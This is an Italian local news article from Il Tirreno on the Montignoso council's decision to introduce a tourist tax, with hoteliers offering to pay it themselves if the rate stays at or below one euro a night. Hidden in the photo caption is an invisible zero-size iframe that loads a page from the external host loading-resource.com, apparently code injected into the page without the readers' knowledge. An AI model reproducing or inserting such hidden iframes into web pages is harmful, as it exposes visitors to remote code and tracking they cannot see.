Il Tirreno

Tassa di soggiorno a Montignoso

Chiara Sillicani
<strong>I PROTAGONISTI.</strong> Da sinistra in ordine Sabrina Giannetti (hotel Eden), Claudio Lotto (hotel Daisy) Narciso Buffoni e Roberto Pucci<iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe>
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I PROTAGONISTI. Da sinistra in ordine Sabrina Giannetti (hotel Eden), Claudio Lotto (hotel Daisy) Narciso Buffoni e Roberto Pucci

E ora Massa teme l'effetto contagio. Gli operatori: la pagheremo noi

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MONTIGNOSO. Se il sindaco Pucci mette i puntini sulle "i" e spiega che sulla tassa di soggiorno nulla è stato deciso, il collega montignosino Narciso Buffoni taglia la testa al toro: «La decisione è stata presa». Per gli enti locali sono tempi duri? Risultato: qualche euro dalla tasche dei turisti finirà nella casse comunali. Villa Schiff fa sul serio: ha messo in conto di incassare 100mila euro.  E si è tenuto stretta perchè - soprattutto in tempi di magra - «è necessario poter contare su un gettito minimo sicuro» precisa Buffoni.

Insomma, con 90mila presenze annue, di soldi se ne potrebbero incassare anche di più, ma l'amministrazione - questo il concetto - ha conteggiato un minimo di un euro a notte. Gli albergatori non dormono sonni tranquilli, e non soltanto quelli montignosini. In quel di Massa si teme, infatti, l'effetto "contagio", del resto gli operatori non si nascondono dietro un dito, sanno bene che l'intenzione di applicare la tassa c'è anche nel Palazzo massese.  E non a caso un mese fa hanno già buttato giù una bozza di massima da proporre all'aministrazione (da un minimo di 40 centesimi a notte, ad un massimo di 1 euro, esclusi gli under dieci). I colleghi montignosini, da parte loro, non ci stanno a far gravare il peso sul turista (ci sceglie e gli tocca pure pagare?), si fanno avanti e garantiscono che saranno loro a sborsare i soldi per la tassa di soggiorno. Ad una condizione, però, che le cifre non siano da capogiro. E l'idea di riferimento è proprio la bozza dei cugini massesi.  Sabrina Giannetti, titolare dell'Eden (4 stelle a Cinquale), è anche la referente del settore, si è seduta ad un tavolo, con il sindaco Buffoni e Raffaello Gianfranceschi, neo assessore alla Finanze, e ha chiarito che «gli albergatori non si tirano indietro, sanno che i tempi sono duri per i Comuni e sono disposti a fare la loro parte, a patto però - chiarisce - che si trovi un punto si equilibrio. Siamo pronti a farci carico della tassa senza gravare sul turista, ma solo se le cifre sono contenute». Se la tariffa sarà oltre l'euro a notte, beh toccherà al villegiante mettersi le mani in tasca e «allora - Sabrina Giannetti disegna una sfida - dovremo offrire il massimo». Perchè la logica del turista è quella del consumatore: se mi chiedi di più, mi offri di più. La tariffa entro l'euro, quindi, eviterebbe spese ai turisti e salassi agli albergatori. Il tema è all'ordine del giorno, lo ammette anche Gianfranceschi: «Mi sono insediato da pochissimo, ma questa è la prima cosa di cui mi sto occupando. Entro il 30 novembre dobbiamo stendere il bilancio e sapere con esattezza quanto prevediamo di incassare dalla tassa».

Anche perchè, nel caso la tariffa superasse l'euro, le cose si complicherebbero: gli operatori si farebbero avanti per ottenere esenzioni, dagli under 10, a chi si sposta per motivi di salute o all'interno della Provincia. E esenzione significa una burocrazia più articolata nella trasmissione dei dati e degli importi dalle strutture ricettive (anche bed and breakfast e residence) al Comune.  A fare chiarezza definitivamente sarà una commissione che - chiarisce Sabrina Giannetti - «verificherà anche sull'utilizzo del denaro incassato dalla tassa si soggiorno». Perchè il decreto legislativo 23 dello scorso marzo (che prevede l'introduzione della tassa) parla chiaro: i soldi devono essere investiti in cultura, decoro urbano e valorizzazione del territorio. E «così sarà - garantisce Buffoni». Resta da capire per quante notti si paghera. Dieci, nell'idea del sindaco, troppe per gli operatori.  In ogni caso Montignoso - anche se mancano i dettagli - ha deciso, Massa è ancora in stand by, ma il timore - Claudio Lotto, di Confcommercio lo ribadisce - è «che il balzello arrivi, l'intenzione c'è».

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